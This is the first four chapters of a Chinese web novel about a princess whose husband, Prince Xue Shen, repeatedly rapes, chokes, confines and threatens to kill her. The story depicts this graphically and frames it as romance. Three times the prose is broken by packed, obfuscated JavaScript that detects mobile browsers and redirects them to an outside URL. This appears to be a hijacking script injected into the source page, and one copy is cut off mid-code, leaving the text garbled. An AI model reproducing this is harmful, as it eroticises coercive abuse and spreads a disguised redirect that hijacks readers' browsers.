《偏执王爷求复合》
1. 第一章发疯
庆安十年,冬,腊月初八。
今日是姜芙生辰,同往年一般无二,宾客络绎不绝,花厅里摆满了生辰礼。
丫鬟下人忙的不可开交,时不时便有笑声传来。
姜芙穿着粉色罗裙奔走在人群中,朱钗轻晃,一身绫罗绸缎甚是娇艳。
这是她在王府过的第三个生辰,同前两个生辰一样,隆重到让人咋舌。
成箱的生辰礼,戏班,杂耍班,应有尽有。
还有她最喜欢的皮影戏。
道贺宾客无不称赞,睿王有心,竟然为王妃做到如此地步。
也是,关于他们的佳话也不是一句两句,每日出府都能听到一些,说睿王如何如何爱慕王妃,如何如何恩宠王妃。
惹的堰都贵女们无不钦羡,羡慕姜芙嫁了个好男人。
若是没有那些事,姜芙还真是嫁了个好男人。
玉树临风,风流倜傥,端庄有礼,可事实是……
她绕过前厅和长廊,回到了自己的院子,推门进去后,脸上的笑意再也挂不住,垂眸看了眼地上的箱子,抿抿唇,越过,坐在铜镜前。
贴身婢女婉儿说道:“王妃,王爷一大早出的府。”
姜芙握着梳子的手顿住,“可有让人跟去?”
“跟了。”婉儿道,“晚些时候那人会来报。”
姜芙轻点头,“好。”
婉儿接过梳子,低喃:“要是王爷爷能陪王妃一同过生辰便更好了。”
姜芙嫁进王府三年,前两次生辰宴薛慎都不在,说是有公务在身,至于是何公务无人知晓。
每次都是夜里回来,回来后,什么也不说,抵着姜芙折腾。
姜芙也推拒过,但没用。
薛慎其他都好,床事格外重,若是不随他的意,后果很严重,上次姜芙累到第二日看诊,着实让自己都羞怯了一番。
这事也不能同其他人讲,只能自己咽下。
好在他只是那日发疯,随后便会同之前一般无二,待她极致般的好。
姜芙自小读的是女戒,从未对任何人言明过,便是婉儿也不知,外人自是更不知。
想起这些烦心事,她眉梢微锁,看着那一箱箱珠宝都不甚欢喜,叮嘱道:“记得宴席结束后把院里的人都支走。”
婉儿点头,“是。”
每年都会如此,婉儿也不能待在院中,“王妃,今夜就让奴婢留下吧?”
“不用。”姜芙道,“他会不高兴。”
他不是别人,正是睿王薛慎。
刚成亲那年,院子里留了人,因这事,薛慎没闹死她,之后姜芙便再也不敢了。
“可王妃一人奴婢不放心。”
“无碍,一夜很快便过去。”
婉儿虽不知发生了什么,但想起姜芙身上的痕迹也能猜出一二,“王妃,这事要不要告知老夫人?”
“不妥。”姜芙道,“夫妻间的事同老夫人如何讲的。”
书上说过,夫是天,便是要杀了她,她也不能反抗,这般羞怯的事更是不能告知。
“记住不要讲。”
“是。”
……
外面的宾客都在庆祝,唯有姜芙坐立难安,天色愈暗,她心绪愈难宁。
不想天黑,可天还是黑了。
门被撞开时,姜芙正在倚着软榻看书,只感觉到一阵风袭来,下一瞬,她被人抵在了软榻上。
身上衣裙应声碎裂,亵衣也被扯碎。
她伸手去拦,被男人一把握住,他的力道太重,几乎要捏断她的腕骨,忍着不适,她轻溢出声,带着哭音道:“王爷。”
饮了酒的男人似乎什么也听不到,看不到。
见她落泪,手指抚上她眼角,用力蹂躏,“哭什么。”
姜芙为何会哭?
因为害怕,眼前的他仿若换了一个人,明明还是那张脸,也又不是他。
性情不同,眼神不同,说话的声音都不同。
他看她,如看猎物。
“夫君,妾身怕。”姜芙试图扮柔弱唤醒他,可惜没用,他还是我行我素,“怕?怕什么?”
薛慎一把攫住她下颌,鼻尖抵上她鼻尖,“莫不是娘子怕我?”
他手劲实在大,姜芙动弹不得,更别说发出声音了。
“阿芙别怕,为夫只是想好好疼你。”
可她怕的便是他好好疼她。
疼痛如期而至,他低头吻上她的唇,齿尖用力磨砺撕咬啃噬,恨不得把她吞入腹中。
她不能推拒,亦不能反抗,只能受着。
最大一波痛意袭来时,她抓紧了锦被,须臾,后背溢出细密的汗,同之前一样,这还只是刚开始,后面还有漫长的一夜。
床边榻上放着药膏,都是她为自己准备的,她这副身子若是捱到天明,明日怕是又不能下榻。
薛慎不会说什么,但老夫人会,府中两位嫂嫂会。
她们只会怪她不知节制,缠着夫君做尽羞赧的事,从未想过,这一切并非她所愿。
……她也只能忍着。
“想什么?”薛慎指尖带着血,他把手指放进口中吸吮,片刻后撬开她的唇塞了进去。
男人的手指兴风作浪起来不输其他地方,搅着她舌尖乱挠,她想避,但根本避不开。
“慎哥哥……”她无意识唤道。
薛慎笑着移出手,沿着她脸颊慢慢游走,在她侧颈上留下不情不重的血痕,不会立刻消失,但也不会长久留存。
他薄唇覆上,舌尖在最浅的地方咬了下。
太疼,姜芙没忍住,轻嘶一声。
这一叫,让他愈发来了兴致,原本捏着她下颌的手,拢上了她纤细的脖颈,一点点收紧再收紧。
姜芙感觉到呼吸越发的不畅,脸颊上的红晕也多起来,她求饶,哭着说:“慎哥哥,我疼。”
“哪里疼?”薛慎清冷的声音中没有一丝温度,“告诉哥哥,哥哥帮你。”
哪里都痛。
“这里吗?”他手指落在了她胸口,随即下行,“还是这里?”
不知是不是错觉,但凡他碰触过的地方,痛意更重了。
姜芙说不出话只能摇头。
她每摇一次头,薛慎便惩罚地在她唇上咬一下,方才还好好的唇瓣,此时已经多个豁口。
都是他咬的。
外人眼里他光风霁月,可姜芙知道,他不是,他是疯子,是魔鬼。
是吃人不吐骨头的,怪物。
她逃不掉,也哭不得,只能敛去声音任他折磨。
可真这样,他又不干。
强行的让她发出羞人的声音,还贴着她耳畔低语,“叫出来,不然今夜都不会让你睡。”
姜芙怕死了他的话,收回贝齿,任声音破喉而出。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15200995|165705||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>庆幸的是这里没人,整个院子里只有他们两个,便是真喊破天了,至少没外人知道。
“慎……”姜芙刚要说什么,薛慎把她掀翻,在她后颈上撕咬。
好疼。
她又哭了。
可等来的不是怜惜,是男人更加狠戾的对待,他问她:“欢快吗?”
姜芙摇摇头,又点点头,眼泪顺着眼角流淌下来,落到唇瓣上,咸咸的,和她此时的心一样。
“喜欢吗?”他又问。
“……嗯。”她不敢说不喜欢,真说了,她会受到更重的惩罚。
他花样实在太多了,让人无力招架。
她怕死了。
可她也有些恨,饶是他这般对她,她竟然还会想着去迎合。
怪不得他说她贱,似乎…她还真是。
“这么喜欢?”薛慎笑笑,“那明年你生辰宴咱们来更刺激的。”
今夜这般已经要了她的命,再刺激的,那她估计就真活不成了。
“慎哥哥,求你,放过我。”
“阿芙这是说的什么话。”他咬上她耳垂,“我这不是在疼爱你嘛,说什么放过。”
不,她不要这样的疼爱。
“可你弄痛我了。”
“是嘛,哥哥给你吹吹。”
姜芙同薛慎有过一段不为人知的过往,那些年他们两小无猜一同长大。
若不是姜芙被家人接走,大抵他们会一直生活到成亲那日。
那大概便不会如眼下这般,看似夫妻恩爱,实则……
姜芙不好形容出她和薛慎的关系,若说恩爱似乎不是,可若说不恩爱,好像也不是。
除去今夜的他,其他时候,他都万般宠爱她。
真真假假,她实在分不清。
“……别。”她缩着脚避开,又被他拉回来,“你的哪里我没看过,害什么羞。”
是呀,她的哪里他都看过,也亲过,玩过。
她实在没什么好避的。
可即便这样,她还是会害羞,会胆怯,“慎哥哥,我累了。”
“这才刚开始,”薛慎指尖揉捏她脚踝,“说累,太早了。”
是太早,距离天明还有几个时辰,他们还有的折腾。
薛慎的吻和他的手同时落下,盖住眼睛后,感官越发清晰了,她听到了他的喘息声。
他在叫她的名字,很轻,像风儿吹过,可细听下又带着莫名的情愫。
难耐,痛楚。
他似乎也很痛。
可姜芙知道,他的痛同她比起来根本不值一提。
她才是真的痛,突如其来的战栗,他几乎要咬断她的脖颈。
半晌后,大抵是察觉到她真不动弹了,缓缓松开,磨着她耳畔道:
“从明日起不许出府。”
她还有事情未做,需要出去,“为何?”
“本王说不许便不许。”他猛然加重了力道,随后又缓下来,像是逗弄,又像是折磨。
“还是说,府外有其他人等你?嗯?”
那声“嗯”浅而短,但落下姜芙耳中,犹似惊雷,她摇头,“没有。”
薛慎好像很喜欢她的恐慌,见她发颤,轻扬了下唇角。
“这才乖。”
话音落下时,姜芙又痛了一下。
脚趾抠着要避,被他拦住,他咬着她唇,问:“阿芙,爱我吗?”
2. 第二章折磨
2章
姜芙不敢说不爱,战栗回:“……爱。”
她的话取悦了薛慎,薛慎掐着她下颌让她抬高头,方便他亲吻的更深。
不知亲吻了多久,姜芙以为马上要结束,谁知不是。
男人喘息道:“不急。”
姜芙泣不成声,再也说不出一句完整的话。
庭院里枯树随风晃动,在地上映出孤寂的影,一如此时的姜芙。
她多希望一切快点终止。
然而,并没有。
受不住时她昏了过去,其实这样也好,至少他那些折腾人的手段她看不到了。
看不到便当不存在吧,她鸵鸟的想。
……
翌日,姜芙醒来,不敢耽搁梳洗完毕后去主院问安。
刘氏,周氏已早早候在那里,正同宋氏攀谈,笑声时不时传来。
婉儿有些担心,“王妃,您行吗?”
姜芙点点头,“可以。”
随后她迈着婀娜的步子走了进去。
谈笑声终止,她们齐齐朝她看过来,大房刘氏勾唇道:“我还以为弟妹不来了呢?”
“怎么会。”姜芙温声道,“今晨给母亲做了些爱吃的桂花糕,是以来晚了。”
她屈膝,“是儿媳的错。”
“呦,弟妹还有力气做桂花糕呀,我还以为……”二房周氏道,“弟妹真是有心了。”
姜芙莞尔一笑,淡声道:“是我该做的。”
这般冷嘲热讽的话也不是第一次听,初时还会觉得难过,现下已经不会了。
她们说她们的,她做自己的便好。
婉儿扶着她坐下,刚挨上椅子,不知名的痛楚袭来,她眉梢微蹙,再次想起了昨夜。
他这次折腾的比以往都久,后面也不知道用了什么,让她全身剧痛难耐。
“儿媳站着便好。”为了不失礼仪,她干脆站起。
宋氏本就对姜芙不喜,见她这般心情越发不爽利,她爱站便站,只要不同慎儿乱言便可。
“这是昨日生辰礼的礼单……”宋氏接过婢女递上的茶水,低头轻抿一口,“你要如何处置?”
“放母亲这里便好。”其实无论姜芙说与不说,东西都会放宋氏房里,既然这样,她还不如做个顺水人情。
左右那些,她都不在意。
“你大嫂相中了一些首饰。”
“大嫂喜欢什么可以取了去用。”
“还有一些布匹可做些冬衣,你二嫂……”
“二嫂去拿便是。”
姜芙妥当安排,“我看里面有些摆件,放母亲房里最为合适。”
闻言宋氏脸色才稍稍好了些,“东西都不是重要的,重要的是人。你嫁进王府三载,也该想着为王府开枝散叶了。”
“你同慎儿夜夜贪欢,为何还没动静?”
怀孕的事不是她一人说了算,姜芙有心解释,她一直在服用避子汤,话到嘴边咽了回去。
“都是儿媳的错。”
“知晓错了便去改,你若是再不能开枝散叶,慎儿那……”宋氏再次提起为薛慎纳妾的事。
姜芙的心像是被什么狠狠捏了一把,忍着酸楚道:“儿媳知晓了。”
宋氏最不喜她柔弱的样子,看到便想起了昔日的狐媚子苏氏,若不是那个狐狸精她怎么会被老王爷嫌弃。
想到这里,气便不打一处来,沉声道:“我乏了,都退下吧。”
三人屈膝作揖后一一转身离开。
没了宋氏,刘氏周氏说话越发没顾忌,含笑道:“弟妹,三弟现下是宠你,但你若一直没子嗣,怕是恩宠也长不了,别怪嫂嫂没提醒你,下堂妇可是很惨的。”
“就是就是,看我,三年生俩,现如今又怀上了。”二房周氏说道,“你这肚子还是要争气些才好,切莫做那不会下蛋的母鸡。”
“二夫人,您……”婉儿没忍住开口。
周氏道:“我怎么了?你个小贱蹄子也敢对我大呼小叫,真以为相府没人了!”
言罢,巴掌落在了婉儿脸上。
婉儿忍着疼,不敢再多言一句。
姜芙见周氏再次伸出手,挡在婉儿身前,“二嫂,婉儿是我房里的人,便是真做错了,也该我管教才是,二嫂如此欺辱,想打的不是婉儿是我吧?”
姜芙鲜少这般动怒,大概是昨晚被折腾的太惨,心里窝着火,便不管不顾说了出来。
“姜芙,你别以为三弟宠你,你就会怎么样。”周氏道,“我等着你被赶走的那天。”
“哼,不会下蛋的鸡。”
骂完人,她气呼呼转身离开。
刘氏抬帕掩唇,轻笑两声,也跟着离开。
姜芙拉过婉儿端详,“是不是很疼?”
婉儿摇头,“是奴婢的错,奴婢应该忍着的。”
“不关你的事,”姜芙道,“便是没有你,她们照样会奚落。”
她虽贵为王妃,但性子软,谁都压不住。
以前她是不在意,最近她房里的人受欺负的次数越发多了,她也开始审视了。
谁都不是石头缝里蹦出来的,大家也都有父母,为何要受旁人百般欺辱。
她房里的人,她来护。
“王妃,风大,咱们快些回吧。”
“好。”
姜芙从不告状,但薛慎总是能第一时间知晓,然后替她出气。
这也是她费解的原因之一,若说他在意她,可那般折腾,哪里是在意。
若说他不在意,但每次她受了欺辱他都会为她找补回来。
听闻他手下的人打了周氏的贴身婢女,周氏哭着求饶才没打死。
宋氏知晓此事后勃然大怒,把他叫了过去,不知母子俩个说了些什么,宋氏后面再也未曾多言。
经他这么一闹,府中对她的敬畏又多了些,丫鬟下人每每见到她都会绕路走,生怕冲撞了,招来王爷责打。
她有心缓解局面,但没成功。
大家见到她,还是会怕。
是以,姜芙这几日都未曾出院子,她不想惹人嫌。
关在一隅倒也安生,但安生之余她又忍不住猜想,薛慎到底是为了护她还是为了关她?
她这院落已经几日不曾有人来了,连婉儿都察觉出了不对劲。被宠爱是幸事,可若宠爱过了头,便是祸事了。
-
眨眼,又过了几日,姜芙实在闷不住,带上婉儿打算出府逛逛。刚行至门口便被人拦住,“王妃去哪?”
“出府买东西。”姜芙道。
“王爷有令王妃不得出门。”守卫道,“还请王妃回去。”
“王妃是有东西需要采买,”婉儿道,“去去便回。”
“王爷说了,没有他的命令王妃不得出府。”守卫道,“劳烦王妃把采买单子给属下,属下去买。”
她只是想出去逛逛,也不真是要买什么,哪里有单子给他。
“我若执意要出府呢?”
“那便别怪属下无理了,来人。”
话音落下,暗处走出几个人,齐齐挡在了门口。
姜芙这才明了,他那晚说的是真的,他不许她出府。
“王爷呢?”
“王爷有公务在忙。”
“我要见王爷。”姜芙道,“把王爷叫来,不然……”
她没说完,回转。
……
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15200996|165705||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
余晖还没落下,薛慎穿着蓝色蟒袍回府,鲜少在白日见他,姜芙有些恍神。
看着徐徐走来的身影,她想起了那些年,第一次初见,他被人欺负,她挡在他身前,告诉那些欺负他的人,“你们再敢动他,我就去报官!”
那时她方八岁,本就是个半大点的孩子,身形娇小,说话软糯,落在那些人耳中只当笑话来听。
他们一把推开她,说了声:“滚。”
她是走了,可折返时后方跟着几个衙差,把闹事的小混混带走了。
第二次,他生病倒在雪里,她给他请大夫看病。
后面,她随舅母回了堰都,王府巧遇,她才知晓,他根本不是什么穷苦人家的孩子。
他是异姓王睿王的第三子。
舅母同睿王妾室苏氏交好,那段日子,时常带着她去王府,一来二往,她便同薛慎熟悉起来。
再后来,舅母生病,怕把病气过继给她,便拜托苏氏把她带去府中照看些日子。
苏氏多年无子,对她也甚是喜欢,这一带便带了一年。
也就是那一年。
她同他亲厚起来。
可惜,好景不长,母亲病重,传书信要她回江北。
她连道别都来不及,匆匆折返。
再后面,母亲病重去世,父亲做主给她许了婆家,是当地有名望的富裕人家。
父亲原话是:“商贾之家嫁娶自然也是找商贾,那些达官贵人咱们高攀不起,阿芙不要肖想其他,好生待嫁便可。”
姜芙原是对婆家也属意,只是那日外出采买胭脂,无意中看到未婚夫婿当街调戏良家妇女。
她才知晓,他竟是这般放浪之人。
回去后,她要退婚,父亲不允,把她关在了绣楼,一关便是三个月。
再后来,她那未婚夫婿不知惹怒了何人,被当街打死,两家婚事就此作罢。
消停了月余,父亲再次为她许了婆家,这次所许之人不是别人,是异姓王睿王。
老睿王去世后,三子薛慎承袭王位,天子有意给他赐婚,谁知他竟在金銮殿上说自己心有所属。
天子成人之美,没有多加为难,允了这桩婚事。
宋氏知晓后,气晕过去,可圣旨不敢违,醒来后,还是如期迎新人进了门。
姜芙到现在还不知晓,薛慎为何要娶她?
当真只是念及昔日的救命之恩吗?
她思索的太投入,没注意到有人走了进来,直到下颌被人攫住,唇瓣上传来痛意。
看着眼前放大的脸,她下意识伸手去推,被他反剪到身后,轻松抱起。
“哗啦”一声,桌子上的茶盏掉到了地上,砸出细碎的声响。
下一瞬,她躺了下去,唇被咬着发不出声,她只能用另一只手去推,可惜,螳臂挡车丝毫没有用处。
直到口中溢出血腥味,他才停止。
他唇瓣上都是血渍,不知是他的还是她的。
姜芙手抵在两人间,轻喘,“这可是白日。”
“白日夜里又有何不同。”薛慎捏住她纤细的脖颈,迫使她把头仰高,“我想动你,随时可以。”
话音落下,他扯开了她衣襟。
她想护,但是晚了。
随着凉意一起袭来的是滚烫的热意,他的唇在肆意兴风作浪。
她屈辱道:“王爷,你不可。”
薛慎抬起头,笑的很张狂,“我可不可,阿芙不是最清楚吗?”
是呀,他想做的事,谁敢拦,谁又能拦。
可身上的痛楚还在,姜芙不愿让他如愿,微挣,用他那日的话堵他。
“慎哥哥,你爱我吗?”
3. 第三章 凌辱
这是姜芙第一次大着胆子问出口,带着破釜沉舟的心,想着若他说爱,那便随他折腾。
要咬要撕都随他。
相识十年,她对他早已情根深种,就像芸儿猜测的那般,她爱惨了他,别说是被他如此对待,便是把命给他,她也毫无怨言。
她爱他,深入骨髓。
“爱?”薛慎青隽的脸上露出冷淡的笑,修长分明的手指沿着她侧颈游走,眨眼间映出一排深深的指痕印记,那抹红比余晖还灼眼。
他似是没看到她的战栗,指尖力道没有要减缓的意思,在她锁骨处停留片刻后,继续辗转。
但凡他触碰过的地方,都传来火辣辣的痛意。
姜芙最怕痛,但她知不能躲,只要她躲,迎来的便会是他更严厉的惩罚。
她怕死了他的惩罚。
“阿芙觉得呢?”他把问题抛了回来。
姜芙不知,贝齿咬唇不知该如何回答。
“怎么不说话。”薛慎一把掐上她的下颌,迫使她张开嘴,细碎的声音断断续续溢出。
他清冷着声音道:“看来还是我做的不够好,不然阿芙怎会有此一问。”
他唇落在她唇上,齿尖撕咬磨砺,“无妨,我在努力些便是。”
姜芙怕的便是他努力,她摇头,“我…不是,我…”
“看,急什么。”薛慎打量着她,看她的眼神像是在看猎物,每一寸都舍不得放过,“阿芙,你说我们从哪里开始好呢?”
他松开她唇瓣,去啃噬她的侧颈,“这里吗?”
“还是这里?”说话间唇又落到了她耳后,轻吐气息,“又或是,这里?”
姜芙只感觉腰间猛然一热,接着便是撕扯的痛,她不安地扭动,“夫君,别……”
“夫君?”薛慎眼底似有什么一闪而逝,鼻尖抵上她鼻尖,“我还是更喜欢你唤我慎哥哥。”
“来,叫我慎哥哥。”
姜芙不敢不叫,启唇轻唤,“……慎哥哥。”
薛慎退开些,轻抚她脸颊,“这才乖。”
他轻勾唇角道:“慎哥哥马上喂饱你。”
如此放浪的话落在姜芙耳畔,只叫她越发羞赧,她手抵着,“求你……”不要。
后面那句还未吐出,薛慎吻了上去,“好了,知道你想要,本王给你便是。”
姜芙摇头,她不是想要,她是不想。
可惜,她没机会发声,薛慎含住了她的声音,让她再次品尝到了什么叫痛不欲生。
……这种事,大概只有男子才会喜欢。
真的好痛。
-
姜芙醒来时已到了深夜,婉儿在一旁守着,看到她睁开眼,关切问:“王妃想要做什么?用膳吗?”
姜芙摇头,“我要沐浴。”
“王爷已经给王妃净过身了。”婉儿拦住,“是王爷亲自给王妃清洗的。”
婉儿本欲帮忙,奈何王爷不允,她也只能退的远远的。
姜芙意识回笼,想起了什么,完事后,他抱起她去了西厢房,沐浴时似乎还问了些话。
好像是关于那件事的。
她在王府住的那一年,时常会同表姐书信往来,有次门房送信被他撞见,他当即变了脸色,问她在同何人联系?
她表明是表姐后,他才稍稍好了些,只是那日之后,她同表姐便断了书信。
后来才知,是他截了那些信。
她问为何?
他道:“不想死日后不许再同你表姐有书信往来。”
她不明白他为何动怒,执意想要个答案,惹来他更凶的训斥,后来她便再也不敢多问。
只是没想到,今夜他会旧事重提,问她还记不记得当年的事?
她迷糊间似乎回的是:……记得。
隐约她又忆起他的神色,当她说出记得时,他脸色明显愠怒,甚至还加重了给她清洗的力道,弄得她痛上叫痛。
她耐不住哭出声,他不耐烦地拉过她的手给她戴上了什么,说是迟来的生辰礼。
姜芙抬起手去看,还真在腕间看到了手镯,通体发亮,一看便是上乘之物。
婉儿也注意到了,“王妃这是何物?”
姜芙道:“王爷送的。”
姜芙还气着他的所作所为,伸手欲扯下,可无论怎么扯都扯不掉,想起了他的警告。
“一直戴着不许摘。”
“若真摘了,本王不会饶你。”
他又威胁她。
可她该死的怕。
缩回手指,拉低袖子,掩住那碍眼的手镯,问:“何时了?”
婉儿:“丑时。”
离天明还有段时间,姜芙闭眼,强迫自己继续睡,随后她做了个冗长的梦。
梦中她回到了几年前,她最喜梅花,薛慎为了给她摘梅花从树上直直掉了下来。
她吓得惊呼出声,等他落地后,她跑了过去,跪地扑到他身上,求他不要死。
她哭的梨花带雨,少年睁开了眼,深邃眼眸里都是笑意,“傻瓜,逗你呢。”
她看到他转醒,不顾礼节抱住他,后来想起什么又退开,捶打他胸口,“慎哥哥,你真坏。”
言罢,她起身离开。
薛慎侧躺在梅林中,嘴里叼着一截树枝,戏谑问:“阿芙,你跑什么?”
他笑声越大,她跑的越快。
苏氏看她如此慌乱,追问发生了何事?
她不好说被戏弄,只说遇到了蛇,一条专门吓人的蛇。
苏氏闻言命下人去梅林逮蛇,还真给逮到了,当即把蛇送出了王府。
那之后,姜芙一直躲着薛慎,任凭他如何讨好,都未曾现身。
府里都说,不可一世的世子,这次算是有了软肋。
可姜芙,从不希望自己是薛慎的软肋,她最希望的是,若是没遇到该有多好。
那么,今日她便不会这般难过。
她从梦中惊醒,低头去看,发现手中没有剑,手指也没沾血,这才吐出一口气。
婉儿闻声赶来,知晓她又做噩梦了,递上安神汤,“那个梦魇又来了吗?”
姜芙接过,低头轻抿,咽下后,点点头。
“前段日子王妃服药,那梦魇再也未曾出现过,是不是最近停药的原因,要不要去找大夫看看?”
“好。”
姜芙怕死了梦魇,揪着衣襟说:“午膳后便去。”
姜芙每次梦到那个梦境,心情都会不好,午膳没吃几口,便推了碗筷,让婉儿收起。
婉儿担心她身子,“王妃早上便没吃,现下又不吃,会生病的。”
生病?
其实她早就已经病了。
“无妨。”姜芙道,“你去安排马车。”
婉儿:“是。”
不知是不是她昨夜伺候的好,薛慎竟然允许她出府了,还贴心地派了一行人跟着。
婉儿不太喜欢被跟着,碎碎念,“王爷这是保护咱们还是看管咱们?”
说者无意听者有心,姜芙轻撩布帘,侧眸去看,几个凶狠恶煞在一旁护着,便是苍蝇也飞不过来。
“你说呢。”姜芙道,“当然是看管。”
姜芙不知薛慎到底在防什么,难不成他以为她会害怕?
她人都是他的,又为何会害他。
“王妃前面便是医馆。”婉儿看了眼外面,轻声道,“表小姐派的人在医馆后方的小巷等着。”
姜芙道:“你在前面给我打掩护,务必要拦住外面那些人。”
婉儿:“王妃放心,奴婢一定不会让他们起疑。”
看病是假,故友相见才是真。
姜芙迟了一个月才出来,心里愧疚的很,见到来人后,一脸歉意,“劳烦先生同表姐说一声,有劳表姐惦念了。”
男子凝视她,眼神灼灼,“我家小姐知晓姑娘安好,定会安心。”
姜芙从袖中拿出新绣的香囊,“上次书信中表姐言明不能安寝,劳烦先生把这个交给表姐,可有助表姐睡眠。”
“姑娘有心了,江宸再次替小姐谢过。”
“先生客气了。”姜芙柔声道,“多年前承蒙你家小姐搭救我才幸免于难,后又得她多番照拂,若说谢,该是我谢才对。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15200997|165705||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“小姐常说,得姑娘这一至交好友,便是死也甘愿。”
“我亦是如此。”姜芙定定道。
“看姑娘脸色不好,难道是生病了?”江宸问道。
“染了风寒。”姜芙不好提她同薛慎的事,只能用风寒挡一挡,“已经无碍了。”
“在下正好懂些医术,若姑娘不嫌弃,我可为姑娘诊治。”江宸道。
男女授受不亲,姜芙未曾应允,“无妨,已经没什么大碍了。”
客气话说完,该送的也送了,姜芙作揖,“时辰不早了,先生告辞。”
江宸见她要走,伸手拦住,递上一瓶玉肌膏,“这是小姐让我赠与姑娘的,还忘姑娘能收下。”
盛情难却,姜芙不好不收,点头,“劳烦先生替我谢过表姐。”
言罢,她伸手接过,屈膝作揖后离开。
等人没影了,暗处有人走出,低声说:“主子还不告诉姜姑娘实情吗?”
江宸道:“时机还未到。”
“可薛慎那边已经起了疑,若公子还不告知,属下怕——”
“无妨。”江宸沉声道,“眼下还有更重要的事要做。”
……
婉儿见姜芙出来,急忙迎上去,“王妃您总算来了。”
姜芙问道:“他们可曾发现?”
婉儿摇头:“未曾。”
随后主仆二人再次去了医馆,拿好药后,撑着纸伞走出,婉儿道:“王妃您慢点。”
姜芙点头。
车帘掀开那刹,姜芙怔愣住,薛慎?!!!
他怎么在此。
怕他察觉出什么,她掩去异样,弯腰钻进马车里,坐在了薛慎对面的软榻上,“王爷不是出城了吗?怎么在此?”
“本王在哪里,需要向你报备?”薛慎面色清冷,神情看着很是不悦。
姜芙不想在这里惹怒他,莞尔一笑道:“是妾身多言了,妾身给王爷赔不是。”
薛慎眸光落在药包上,“王妃病了?”
姜芙道:“头痛,食欲不振,染了风寒,妾身来找林大夫看诊。”
“风寒?”薛慎倾着身子凑过来,“阿芙这风寒来的可真及时。”
姜芙不懂他话里的意思,问道:“王爷何意?”
“阿芙这般聪慧,难道不知我何意?”薛慎把问题抛了回来。
姜芙不知薛慎知晓了多少,只能佯装不懂,“妾身不知。”
“姜芙,在本王面前就不要再演了吧。”薛慎直呼她闺名,可想而知,有多气。
姜芙很怕,颤抖道:“妾身听不懂王爷说的什么。”
薛慎耐心告罄,不想再同她打哑谜,“你刚见了谁?”
姜芙心一咯噔,该来的还是来了,她道:“没见谁。”
“没有?”薛慎一把攫住她的手腕,用力一扯,那瓶玉肌膏从袖中掉了出来。
见姜芙弯腰去捡,他一把踩住,沉声道:“还敢说没有?”
事情败露,姜芙不想殃及到无辜的人,解释说:“只是一个远道而来的朋友。”
“朋友?”薛慎眼眸眯起,“本王说过的,不许你同他人往来。”
他一把锁住姜芙的脖颈,用力捏紧,“为何你就是不听!”
窒息感袭来,姜芙伸手拉扯,“你、你松手,我我要不能呼吸了,松松开……”
薛慎在气头上,好像没听到她的话,“你这么不乖,你说本王要如何待你?”
在姜芙要昏厥时,他松开了手,轻抚她脸颊,“上次未曾尽兴,不如这次在车里试试?”
姜芙正在扶着脖颈大口喘息,闻言吓得脸都白了。
马车里?
他疯了么。
薛慎真的疯了,也不管马车在奔驰,就那样强行地不顾他意愿折辱了她。
他还咬着她唇,道:“叫出声也挺好的,正好让旁人都听听。”
姜芙便是死,也不会发出一丝一毫的声音。
可她倔强的做法惹来薛慎更加肆意疯狂的折磨,他撕扯她。
“姜芙,这是最后一次,日后若是再不听话,我会亲手杀了你。”
4. 第四章 欺负
第4章
姜芙本来还对薛慎的话迟疑,直到看见他挥剑斩碎那瓶玉肌膏,完好的瓶身眨眼间四分五裂。
剑尖上还流着不知谁的血。
她低头去看,眸光落在他淌着血渍的手背上,绽红的血渍顺着手指滴落下来,落在玉肌膏上,顷刻间染红。
姜芙屏住呼吸,不敢动弹分毫,一直知晓他狠戾,可从未想过他不止对别人狠戾,对自己亦是如此。
“你的手……”她颤着声音道。
“怎么?心疼了?”薛慎把她朝怀里扯了扯,张嘴咬上她粉嫩的耳垂,细细啃噬,“放心,死不了。”
薛慎身上的刀伤数之不尽,这点对于他来说什么都不是。
他越是这般不在意,姜芙越怕,忍不住全身战栗,“要不要去医馆?”
“不需要。”薛慎手指捏紧她下颌,不容置喙道,“回府。”
两人没像往常那样,各自去东西院,而是一起回了姜芙居住的西院。
姜芙以为他是想让她帮着上药,岂料,他只是想把马车上未做完的事做完。
她惶恐道:“今天能不能……”放过她。
薛慎打横抱起她,把她扔到软榻上,挑眉问:“你说呢?”
他越是漫不经心,手段越狠戾,姜芙不敢再说一个不字,闭着眼等着痛楚的到来。
薛慎看着她不情不愿的样子甚是不满意,攫住她下颌,迫使她睁开眼,“我要你的时候,不许闭眼。”
姜芙抖着眼睫缓缓睁开,入目的是男人带着猩红的眸子,还有嗜血的眼神。
她做了个吞咽的动作,很轻很轻地嗯了一声,随后讨饶,“那…可不可以轻些?”
她真的好怕痛。
“你不是不喜欢轻吗?”
“我没有。”一时口快忘了称谓,随即改口,“妾身没有。”
